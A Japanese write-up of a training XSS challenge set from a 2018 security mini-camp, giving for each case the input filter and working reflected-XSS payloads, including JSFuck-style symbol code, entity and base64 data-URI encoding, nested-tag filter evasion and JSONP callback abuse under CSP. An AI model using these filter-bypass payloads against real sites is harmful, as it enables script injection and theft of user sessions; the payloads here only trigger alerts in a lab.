XSS Challenge Writeup

これis何

これは、セキュリティ・ミニキャンプ in 岡山2018のつばめさんの講義で使用された演習コンテンツXSS Challenge (by y0n3uchy)のWriteupという名のメモです。ぼちぼち解いてからローカルに眠っていたものを掘り出してきました。今更って言わないで…なお、まだ書いてない問題もあります:-(

Writeup

CSP disabled (easy ... mid)

CSPが適用されていない問題。

Case 01: Simple XSS1

Reflected XSS。特に工夫はいらない。

<script>alert('XSS')</script>
<script>alert(document.domain)</script>

Case 02: Simple XSS2

  • URLの#以下をinnerHTMLで代入している。
  • imgタグで存在しないソースを指定し、故意にonerror属性を走らせ、スクリプトを実行する。
https://xss.shift-js.info/case02.php#<img src=/ onerror=alert('XSS')>
https://xss.shift-js.info/case02.php#<img src=/ onerror=alert(document.domain)>

Case 03: With htmlspecialchars()

  • PHPのhtmlspecialchars()でエスケープされた文字列が、aタグのhref属性に指定されている。
  • javascriptスキームでコードを書いたあと、リンクをクリック。
javascript:alert('XSS')
javascript:alert(document.domain)

Case 04-1: Without any backquotes and HTML tags

  • バッククォートとタグが使えない。
  • unicode \uXXXX形式表記が使用できる。
  • < = \u003C , > = \u003Eなので、それぞれ置き換える。
\u003Cimg src=/ onerror=alert('XSS')\u003E
\u003Cimg src=/ onerror=alert(documen.domain)\u003E

Case 04-2: Without any backquotes, HTML tags and [ux]

  • 04-1に加えて、uxが使えない。
  • バッククォートで展開されているため、テンプレートリテラルを使用できるので${String.fromCharCode()}で除去対象を置き換える。
  • スクリプトを書いて変換すれば楽
${String.fromCharCode(60)}img src=/ onerror=alert('XSS')${String.fromCharCode(62)}
${String.fromCharCode(60)}img src=/ onerror=alert(doc${String.fromCharCode(117)}ment.domain)${String.fromCharCode(62)}
  • 地味にuが入ってる

Case 05: Without any alphabets

  • 大小英数字が使えない。
  • JavaScriptは記号でコードをかけるのでalert('XSS')alert(document.domain)を記号化。
  • インターネットにツールがたくさん落ちている。
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"('\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"')"+"\"")())();
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();

Case 06-1: Without any paretheses

  • カッコが使えない。
  • HTML数値文字参照を使えるのでカッコを使用した文字列を置き換える。
<img src=/ onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>
<img src=/ onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;>

Case 06-2: Without any parentheses and [oO][nN]

  • 06-1に加えて、[oO][nN]が使えない
  • Data URI Schemaを使って、base64エンコードされたコードを埋め込める。
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==></script>

Case 06-3: Without any paretheses and .[oO].[nN].*

  • カッコに加えて.*[oO].*[nN].*が使えない。
  • 06-1の解答のalert('XSS')のほうはそのままでOKだが、alert(document.domain)のほうが引っかかる。
  • スペースやらなにやらを雑に追加すると、base64エンコード文字列が制約に引っかからない。今回はalert( document.domain)でOKだった。
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script src=data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbik=></script>

Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes

  • 06-3に加えて、<[a-zA-Z]+.+?>が使えない。
  • 除去されたあとに攻撃コードが残ればよいので、ダミーになるタグを用意すればよい。
<<I'm KenChaM>script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<<I'm KenChaM>script src=data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbik=></script>

Case 07-1: Without any quotes

  • ' " `が使えない。06-1の数値文字参照や06-2のbase64の方法が使える。alert(document.domain)はそのまま。
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=/ onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script>alert(document.domain)</script>

Case 07-2: Without any quotes and &#

  • 07-1に加えて&#が使えない。
  • 07-1の解答群のなかのいくつかが使える。
<script>alert(String.fromCharCode(88,83,83))</script>
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script>alert(document.domain)</script>

Case 08-1: Without any backquotes, parentheses and HTML tags

  • [`()<>]が使えない。
  • htmlspecialchars()を通した入力値がspanタグに出力されているので、" でid属性から抜けた後、onclickイベントハンドラにコードを記述。
  • カッコも使えないので数値文字参照も使う。
"onclick="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;
"onclick="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;

Case 08-2: Without any backquotes, parentheses, HTML tags and &#

上記に加え、&#が使えない。以下の方法が使える。

XSS technique without parentheses

"onclick="window.onerror=eval;throw'=\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0058\u0053\u0053\u0027\u0029'";
"onclick="window.onerror=eval;throw'=\u0061\u006C\u0065\u0072\u0074\u0028\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u002E\u0064\u006F\u006D\u0061\u0069\u006E\u0029'";

Case 09-1: Without any spaces and "script"

  • scriptという文字が使えない。
  • 大文字なら大丈夫
<SCRIPT>alert('XSS')</SCRIPT>
<SCRIPT>alert(document.domain)</SCRIPT>

Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"

  • 大文字も使えない。
  • 06-4に似た方法で除去後の文字列に攻撃コードが残ればよい。
<scrSCRIPTipt>alert('XSS')</scrSCRIPTipt>
<scrSCRIPTipt>alert(document.domain)</scrSCRIPTipt>

CSP enabled (mid ... hard)

ここからはCSPが適用されている問題。

Case 20: Bad use of JSONP

  • JSONPで値を取得している。
  • 入力値はエスケープされていない。
  • JSONPのcallback関数を悪用する。
<script src="jsonp.php?callback=alert('XSS')"></script>
<script src="jsonp.php?callback=alert(document.domain)"></script>

Case 21: nonce + unsafe-eval

追記します…

Case 22: nonce + unsafe-eval

追記します…

Case 23: nonce + strict-dynamic

追記します…